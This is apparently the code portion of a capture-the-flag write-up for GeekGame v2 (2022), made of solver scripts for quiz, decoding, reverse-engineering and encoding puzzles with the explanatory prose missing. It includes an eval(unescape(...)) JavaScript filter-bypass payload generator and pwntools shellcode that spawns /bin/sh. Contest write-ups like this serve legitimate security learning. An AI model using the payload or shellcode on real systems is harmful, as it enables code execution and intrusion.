taoky's GeekGame v2 (2022) writeups

from pwn import *

import random

# Determines whether a is a Miller-Rabin witness of n
def is_witness(a,n):
    q = n-1
    k = 0
    while q%2 == 0:
        q //= 2
        k += 1
    b = pow(a,q,n)
    if b == 1: return False
    for i in range(k):
        if b == n-1: return False
        b = b*b % n
    return True

# Miller-Rabin test, with 100 trials by default
def is_prime(n, trials=100):
    for i in range(trials):
        a = random.randrange(1,n)
        if is_witness(a,n): return False
    return True

def next_prime(n):
    while not(is_prime(n)): n += 1
    return n

context.log_level = 'debug'

p = remote("prob01.geekgame.pku.edu.cn", 10001)

p.readuntil("token: ")
p.sendline("<your token>")
p.readuntil("> ")
p.sendline("急急急")

corpus = {
    "bilibili": "418645518",
    "世界一流大学": "ctf.xn--4gqwbu44czhc7w9a66k.com",
    "一个朋友": "80304",
    "Firefox": "65",
    "DOI": "10.14778/2002974.2002976",
    "质数": "9320702711",
    "PKU Runner": "cn.edu.pku.pkurunner",
    "PKU GeekGame": "5500"
}

GOAL_OF_LEVEL = lambda level: 300+int(level**1.5)*100

while True:
    x = p.readuntil("> ")
    flag = False
    for key in corpus:
        if key.encode() in x:
            if key == "质数":
                j = x.split(b" ")
                fromx = int(j[3])
                tox = int(j[5])
                print(fromx, tox)
                res = str(next_prime(fromx))
                print(res)
                p.sendline(res)
            elif key == "PKU GeekGame":
                j = x.split(b" ")
                res = str(GOAL_OF_LEVEL(int(j[6])))
                p.sendline(res)
            else:
                p.sendline(corpus[key])
            flag = True
            break
    assert flag
    if "质数".encode() not in x:
        p.readuntil("答案正确")

def re_rot13(s):
    ret = ""
    for i in range(len(s)):
        c = s[i]
        if c >= 'n' and c <= 'z':
            ret += chr(ord(c)-13)
        elif c >= 'N' and c <= 'Z':
            ret += chr(ord(c)-13)
        elif c >= 'a' and c <= 'm':
            ret += chr(ord(c)+13)
        elif c >= 'A' and c <= 'M':
            ret += chr(ord(c)+13)
        elif c >= '0' and c <= '4':
            ret += chr(ord(c)+5)
        elif c >= '5' and c <= '9':
            ret += chr(ord(c)-5)
        else:
            assert 0
    return ret

s = "MzkuM8gmZJ6jZJHgnaMuqy4lMKM4"
print(re_rot13(s))

s = b"\x89\x9A\x81\x8C\x9B\x86（...后面的部分省略）"
print(s)

res = ""
for i in s:
    res += chr(i ^ 0xef)
print(res)

CurPos = NewPos

>>> x = [1,2,3,4]
>>> y = x
>>> x[0]=114
>>> y
[114, 2, 3, 4]

>>> x = [1,2,3,4]
>>> y = x[:]
>>> x[0]=114
>>> y
[1, 2, 3, 4]

from pwn import *

context.log_level = 'debug'

p = remote("prob03.geekgame.pku.edu.cn", 10003)
p.readuntil("token: ")
p.sendline("<your token>")

while True:
    map_ = p.readuntil("Input")
    x = p.readuntil("start)\n")
    print(map_)
    print(x)
    if b"E" not in map_:
        available_op = x.split(b":")[-1].decode().strip()
        print(available_op)
        available_op = available_op[0] + "U"
        p.sendline(available_op)
    else:
        user = input().strip()
        p.sendline(user)

import json

with open("test.json") as f:
    data = json.load(f)

grid = [[" " for _ in range(11)] for _ in range(300)]

for key in data:
    loc = int(key)
    x = loc % 11
    y = loc // 11
    grid[y][x] = 'x'

for i in range(300):
    for j in range(11):
        print(grid[i][j], end='')
    print("")

> python
Python 3.10.8 (main, Nov  1 2022, 14:18:21) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 4+1*256+5*256*256
327940
>>> 
> ping 114.327940
PING 114.327940 (114.5.1.4) 56(84) bytes of data.

import sys
import urllib.parse
import string

payload = sys.argv[1]
def encode_all(s):
    return "".join(["%{0:0>2}".format(format(ord(char), "x")) if char not in string.ascii_lowercase + "1234567890" else char for char in s])

payload = encode_all(payload)

print(f"eval(unescape(/%2a%2a%2f {payload} %2f%2a/)+unescape(/%2a/))")

byte40e0 = [0] * 0x15 + [0xa1, 0x10, 0xb8, 0x40, 0x1, 0x2, 0x42, 0xa0, 0x42, 0x42, 0x0a, 0x84, 0x14, 0x10, 0x20, 0x10, 0x02, 0x3, 0x8] + [0] * 0x2f + [0x1b, 0xaa, 0x24, 0x8a, 0x88, 0x4a, 0x48, 0x42, 0x44, 0x81, 0x40, 0xa0, 0x4a, 0x0a, 0x32] + [0] * 0x10

# print(len(byte40e0))

start_pc = 0x1098
end_pc = 0x1445

for pc in range(start_pc, end_pc):
    v4 = byte40e0[(pc - start_pc) >> 3]
    bit = (pc - start_pc) & 7
    if (v4 >> bit) & 1:
        print("oldpc: 0x%x" % pc, end=' ')
        v5 = pc - 1
        v6 = 0
        v7 = pc + ~start_pc
        # v7 = pc - start_pc + 1
        while v6 != 2:
            v8 = v7
            v9 = v7
            v7 -= 1
            v6 += (byte40e0[v8 >> 3] >> (v9 & 7)) & 1
            pc = v5
            v5 -= 1
        print("newpc: 0x%x" % pc)

# r8 = [0x13, 9, 1, 0x19, 0x1e, 0x21, 5, 0x14, 0xb, 7, 0xe, 4, 0x17, 3, 0x12, 8, 0x1c, 0x20, 0x26, 0x16, 0, 0x15, 0x10, 6, 0xc, 0xf, 0x25, 0xd, 0x24, 0x1b, 0x1f, 0x1a, 0x1d, 0xa, 0x11, 0x23, 0x18, 0x27, 0x22, 2, 0xffffffff] + [0] * 7
r8 = [0x13, 9, 1, 0x19, 0x1e, 0x21, 5, 0x14, 0xb, 7, 0xe, 4, 0x17, 3, 0x12, 8, 0x1c, 0x20, 0x26, 0x16, 0, 0x15, 0x10, 6, 0xc, 0xf, 0x25, 0xd, 0x24, 0x1b, 0x1f, 0x1a, 0x1d, 0xa, 0x11, 0x23, 0x18, 0x27, 0x22, 2]
r10 = [0x99C0, 0x0F6AD, 0x0B9D2, 0x2761, 0x35E9, 0x6C5F, 0x84B5, 0x0B268, 0x0C2E5, 0x99DF, 0x0BF77, 0x0EC7B, 0x3368, 0x0DF73, 0x1A31, 0x0DAD4, 0x8AF2, 0x0B363, 0x56B0, 0x7567, 0x0CB7D, 0x19B3, 0x0C2AD, 0x0E677, 0x26EC, 0x0C2D, 0x10EF, 0x0C9C4, 0x25DF, 0x0E1F5, 0x0FCE8, 0x71E8, 0x0BBE5, 0x0D566, 0x0E861, 0x9FF4, 0x73B7, 0x0CEE6, 0x0D3F4, 0x0BCD2] + [0] * 8
r9 = [0, 0x23, 0x16, 0x1D, 0x19, 2] + [0x21] * 2 + [0x12, 0x11, 0x1a] + [2] * 2 + [8, 0x0C, 0x1E, 0x11, 8, 4, 0x32, 1, 0x36, 9, 0x33] + [0x1B, 0x0A, 0x10, 0x17, 0x39] + [0x15] * 2 + [0x0d, 0x3c, 0x2e, 0x39, 0x2e, 0x22, 5, 0x31, 0x23]

for i in range(48):
    rsi = r8[i]
    r11d = r8[i]
    edx = r9[rsi]
    edx = edx ^ r11d
    rdx = edx
    edx = r10[rdx]
    edx = edx & 0x7f
    # print(hex(edx), chr(edx))
    print(chr(edx), end='')

with open("rom.bin", "rb") as f:
    data = f.read()

# stack0 = stack[sp], stack1 = stack[sp - 1]
mapping = {
    0b0000000: "nop",
    0b0000001: "dup",  # stack[sp+1] = stack[sp]; sp++
    0b0000010: "swap", # stack0 <-> stack1
    0b0000011: "ld",   # stack[sp] = mem[stack[sp]]
    0b0000100: "st",
    0b0000101: "out",
    0b0000110: "halt",
    0b0000111: "inc",
    0b0001000: "add",
    0b0001001: "sub",
    0b0001010: "and",
    0b0001011: "or",
    0b0001100: "not",
    0b0001101: "xor",  # stack0 ^ stack1 -> stack0
    0b0001110: "shl",
    0b0001111: "shr",
    0b0010000: "sar",
    0b0010001: "lt",
    0b0010010: "ltu",
    0b0010011: "eq"
}

for idx, i in enumerate(data):
    bidx = f"0x{idx:03x}"
    if i in mapping:
        print(bidx, mapping[i])
    else:
        if (i >> 3) == 0b0100:
            print(bidx, f"bt 0b{(i&0b111):03b}")
        elif (i >> 3) == 0b0101:
            print(bidx, f"bf 0b{(i&0b111):03b}")     # trigger transfer if stack[sp] == 0, dir by imm
        elif (i >> 3) == 0b0110:
            print(bidx, f"j  0b{(i&0b111):03b}")     # jump to pc + imm, and transfer by imm
        elif (i >> 6) == 1:
            print(bidx, f"li 0b{(i&0b111111):06b}")  # stack[++sp] = imm
        else:
            print(bidx, f"unrecognized ({bin(i)})")

>>> context.arch = "amd64"
>>> asm(shellcraft.amd64.linux.sh())
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
>>> asm(shellcraft.amd64.linux.sh())
KeyboardInterrupt
>>> res = []
>>> for i in 
KeyboardInterrupt
>>> a = asm(shellcraft.amd64.linux.sh())
>>> for i in a:
...     res.append(i)
... 
>>> res
[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
>>> len(res)
48
>>> print(shellcraft.amd64.linux.sh())
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

# 0x666c616774c84912e26ad72b668ce22d54447a4b6127713f
# 0x000000000f????????????????????????????????????42

# 0x000000000f????????????????????????????????????42

# flag=input("Flag: ").encode()
# if len(set(flag)-set(range(127)))>0:
#     print("Wrong")
# else:
#import string
num=       0xf00000000000000000000000000000000000042
#remaining= 0xc84912e26ad72b668ce22d54447a4b612771
#printable = string.printable
num_len=len(hex(num))-2

def dfs(pos):
    global num
    if pos > num_len - 2:
        print("Find a potential number")
        print(num)
        print(hex(num))
        flag = True
        for i in range(1, num_len+1):
            if (num>>((num_len-i)*4))%i>0:
                flag = False
                print("But not expected")
                break
        if flag is True:
            exit()
        return
    base = 1 << ((num_len-pos)*4)
    for j in range(16):
        flag = True
        for i in range(1, pos):
            if (num>>((num_len-i)*4))%i>0:
                flag = False
                break
        if flag:
            dfs(pos + 1)
        num += base
    num -= 16 * base

dfs(2)

>>> "邢詅裪芩苭芢芢靝苌芲醸諧".encode('utf-16be').decode('shift_jis')
'世界一かわいい余のご尊顔'

with open("flag1.enc", "r", encoding='utf-8') as f:
	  binary = f.read()
	
	  def dfs(sent: bytes):
	      if sent.decode('shift_jis', errors='ignore') == binary:
	          print(sent.decode())
	          exit()
	      for x in TUDOU:
	          x = x.encode('utf-8')
	          if binary.startswith((sent + x).decode('shift_jis', errors='ignore')):
	              dfs(sent + x)
	      for x in BYTEMARK:
	          x = x.encode('utf-8')
	          if binary.startswith((sent + x).decode('shift_jis', errors='ignore')):
	              dfs(sent + x)
	  
	  dfs("佛曰：".encode('utf-8'))

with open("flag2.enc", encoding='utf-8') as f:
    tdata = f.read()

data = b''
for i in tdata:
    data += i.encode('shift_jis')

TUDOU = [
    '滅', '苦', '婆', '娑', '耶', '陀', '跋', '多', '漫', '都', '殿', '悉', '夜', '爍', '帝', '吉',
    '利', '阿', '無', '南', '那', '怛', '喝', '羯', '勝', '摩', '伽', '謹', '波', '者', '穆', '僧',
    '室', '藝', '尼', '瑟', '地', '彌', '菩', '提', '蘇', '醯', '盧', '呼', '舍', '佛', '參', '沙',
    '伊', '隸', '麼', '遮', '闍', '度', '蒙', '孕', '薩', '夷', '迦', '他', '姪', '豆', '特', '逝',
    '朋', '輸', '楞', '栗', '寫', '數', '曳', '諦', '羅', '曰', '咒', '即', '密', '若', '般', '故',
    '不', '實', '真', '訶', '切', '一', '除', '能', '等', '是', '上', '明', '大', '神', '知', '三',
    '藐', '耨', '得', '依', '諸', '世', '槃', '涅', '竟', '究', '想', '夢', '倒', '顛', '離', '遠',
    '怖', '恐', '有', '礙', '心', '所', '以', '亦', '智', '道', '。', '集', '盡', '死', '老', '至']

BYTEMARK = ['冥', '奢', '梵', '呐', '俱', '哆', '怯', '諳', '罰', '侄', '缽', '皤']
FOYUE = ["佛", "曰", "："]

mappings = defaultdict(lambda: defaultdict(dict))

for i in TUDOU + BYTEMARK + FOYUE:
    byte = i.encode('utf-8')
    byte0, byte1, byte2 = byte[0], byte[1], byte[2]
    mappings[byte0][byte1][byte2] = i

mappings = dict(mappings)
for key in mappings:
    mappings[key] = dict(mappings[key])

def get_shiftjis(s):
    return s.encode('utf-8').decode('shift_jis', errors='ignore')

def check_prefix(s):
    return tdata.startswith(get_shiftjis(s))

pointer = 0
res = ""

# replace_list = []
zhelaosu = {}

while pointer < len(data):
    # check prefix first
    if not check_prefix(res):
        print("Error")
        assert 0, res
    # each iteration outputs a char
    c1 = data[pointer]
    pointer += 1
    c2 = data[pointer] if pointer < len(data) else 0
    pointer += 1
    c3 = data[pointer] if pointer < len(data) else 0
    pointer += 1
    print(hex(c1), hex(c2), hex(c3))
    if mappings.get(c1) and mappings[c1].get(c2) and mappings[c1][c2].get(c3):
        res += mappings[c1][c2][c3]
    else:
        # hard part here!

        # retract pointer (c3 not used)
        pointer -= 1

        # c1: we know that c1 can only be \xe?
        if c1 not in mappings:
            candidates = []
            for f1 in mappings:
                if mappings[f1].get(c1) and mappings[f1][c1].get(c2):
                    candidates.append(mappings[f1][c1][c2])
            assert len(candidates) == 1
            res += candidates[0]
        else:
            c1set = mappings[c1]
            # knowing that c1set[c2][c3] is not here...
            # 1. c1set[c2][?]
            # 2. c1set[?][c2]

            candidates = []
            if c1set.get(c2):
                for f3 in c1set[c2]:
                    candidates.append(c1set[c2][f3])
            for tmp in c1set:
                if c1set[tmp].get(c2):
                    candidates.append(c1set[tmp][c2])

            # assert len(candidates) > 0, res
            if len(candidates) == 0:
                print("!!!")
                # now we have too many candidates
                for tmp in c1set:
                    for tmp2 in c1set[tmp]:
                        candidates.append(c1set[tmp][tmp2])
                # c2 is not used
                pointer -= 1
            if len(candidates) == 1:
                res += candidates[0]
            else:
                # test each one
                candidates_new = []
                for c in candidates:
                    if check_prefix(res + c):
                        candidates_new.append(c)
                # assert len(candidates_new) == 1, (res, candidates_new)
                print(candidates_new)
                if len(candidates_new) == 1:
                    res += candidates_new[0]
                else:
                    if pointer >= len(data):
                        flag = False
                        for candidate in candidates_new:
                            if check_prefix(res + candidate):
                                flag = True
                                res += candidate
                                break
                        if not flag:
                            assert 0, (res, candidates_new)
                        else:
                            break
                    # the most troublesome part is that we need to get next char
                    possible_res = []
                    for candidate in candidates_new:
                        cc1 = data[pointer]
                        pointer += 1
                        cc2 = data[pointer] if pointer < len(data) else 0
                        pointer += 1
                        cc3 = data[pointer] if pointer < len(data) else 0
                        pointer += 1
                        print(hex(cc1), hex(cc2), hex(cc3))
                        if mappings.get(cc1) and mappings[cc1].get(cc2) and mappings[cc1][cc2].get(cc3):
                            res += candidate
                            res += mappings[cc1][cc2][cc3]
                            # print(res)
                            print(res)
                            if check_prefix(res):
                                possible_res.append((res[:], 3))
                            res = res[:-2]
                            pointer -= 3
                        else:
                            pointer -= 1
                            # repeating logic...
                            cc1set = mappings[cc1]
                            c_candidates = []
                            if cc1set.get(cc2):
                                for f3 in cc1set[cc2]:
                                    c_candidates.append(cc1set[cc2][f3])
                            for tmp in cc1set:
                                if cc1set[tmp].get(cc2):
                                    c_candidates.append(cc1set[tmp][cc2])
                            print(c_candidates)
                            # anyway anyone possible let's just try!
                            for c in c_candidates:
                                res += candidate
                                res += c
                                print(res)
                                if check_prefix(res):
                                    possible_res.append((res[:], 2))
                                res = res[:-2]
                            pointer -= 2
                    assert len(possible_res) != 0
                    if len(possible_res) == 1:
                        # happy ending finally
                        res = possible_res[0][0]
                        pointer += possible_res[0][1]
                    else:
                        # f**k let's try all of them AGAIN!
                        possible_res_2 = []
                        for possible in possible_res:
                            r = possible[0]
                            pointer += possible[1]
                            cc1 = data[pointer]
                            pointer += 1
                            cc2 = data[pointer] if pointer < len(data) else 0
                            pointer += 1
                            cc3 = data[pointer] if pointer < len(data) else 0
                            pointer += 1
                            print(hex(cc1), hex(cc2), hex(cc3))
                            if mappings.get(cc1) and mappings[cc1].get(cc2) and mappings[cc1][cc2].get(cc3):
                                print(r + mappings[cc1][cc2][cc3])
                                if check_prefix(r + mappings[cc1][cc2][cc3]):
                                    # print("pass")
                                    possible_res_2.append((r, possible[1]))
                            else:
                                # assert 0
                                # ignore cc3
                                cc1set = mappings[cc1]
                                c_candidates = []
                                if cc1set.get(cc2):
                                    for f3 in cc1set[cc2]:
                                        c_candidates.append(cc1set[cc2][f3])
                                for tmp in cc1set:
                                    if cc1set[tmp].get(cc2):
                                        c_candidates.append(cc1set[tmp][cc2])
                                print(c_candidates)
                                c_candidates_checked = []
                                for c in c_candidates:
                                    if check_prefix(r + c):
                                        c_candidates_checked.append(c)
                                print(c_candidates_checked)
                                if len(c_candidates_checked) == 0:
                                    # not possible
                                    pass
                                elif len(c_candidates_checked) == 1:
                                    possible_res_2.append((r, possible[1]))
                                else:
                                    # ok anyway it is still possible
                                    possible_res_2.append((r, possible[1]))
                                    # assert 0, c_candidates_checked
                            pointer -= 3
                            pointer -= possible[1]
                        # assert len(possible_res_2) == 1, possible_res_2
                        assert len(possible_res_2) > 0
                        if len(possible_res_2) == 1:
                            res = possible_res_2[0][0]
                            pointer += possible_res_2[0][1]
                        else:
                            # f**k
                            possible_res_3 = []
                            for possible in possible_res_2:
                                r = possible[0]
                                pointer += possible[1]
                                cc1 = data[pointer]
                                pointer += 1
                                cc2 = data[pointer] if pointer < len(data) else 0
                                pointer += 1
                                cc3 = data[pointer] if pointer < len(data) else 0
                                pointer += 1
                                print(hex(cc1), hex(cc2), hex(cc3))
                                if mappings.get(cc1) and mappings[cc1].get(cc2) and mappings[cc1][cc2].get(cc3):
                                    print(r + mappings[cc1][cc2][cc3])
                                    if check_prefix(r + mappings[cc1][cc2][cc3]):
                                        # print("pass")
                                        possible_res_3.append((r, possible[1]))
                                else:
                                    # ignore cc3
                                    cc1set = mappings[cc1]
                                    c_candidates = []
                                    if cc1set.get(cc2):
                                        for f3 in cc1set[cc2]:
                                            c_candidates.append(cc1set[cc2][f3])
                                    for tmp in cc1set:
                                        if cc1set[tmp].get(cc2):
                                            c_candidates.append(cc1set[tmp][cc2])
                                    c_candidates_checked = []
                                    for c in c_candidates:
                                        if check_prefix(r + c):
                                            c_candidates_checked.append(c)
                                    print(c_candidates, c_candidates_checked)
                                    if len(c_candidates_checked) == 1:
                                        possible_res_3.append((r, possible[1]))
                                    else:
                                        if len(c_candidates_checked) == 0:
                                            pass
                                        else:
                                            assert 0, c_candidates_checked
                                pointer -= 3
                                pointer -= possible[1]
                            # assert len(possible_res_3) == 1, possible_res_3
                            assert len(possible_res_3) > 0
                            if len(possible_res_3) == 1:
                                res = possible_res_3[0][0]
                                pointer += possible_res_3[0][1]
                            else:
                                print("WARNING")
                                print(f"DUPLICATION ({len(possible_res_3)})")
                                print(possible_res_3)
                                res = possible_res_3[0][0]
                                pointer += possible_res_3[0][1]

                                print(len(res))
                                print([i[0][-10:] for i in possible_res_3])

                                zhelaosu[len(res) - 2] = [i[0][-2] for i in possible_res_3]
                                # rl = []
                                # for i in range(1, len(possible_res_3)):
                                #     rl.append(possible_res_3[i][0])
                                # replace_list.append((res[:], rl))

# print(len(replace_list))
print("=" * 100)
print(res)
print(zhelaosu)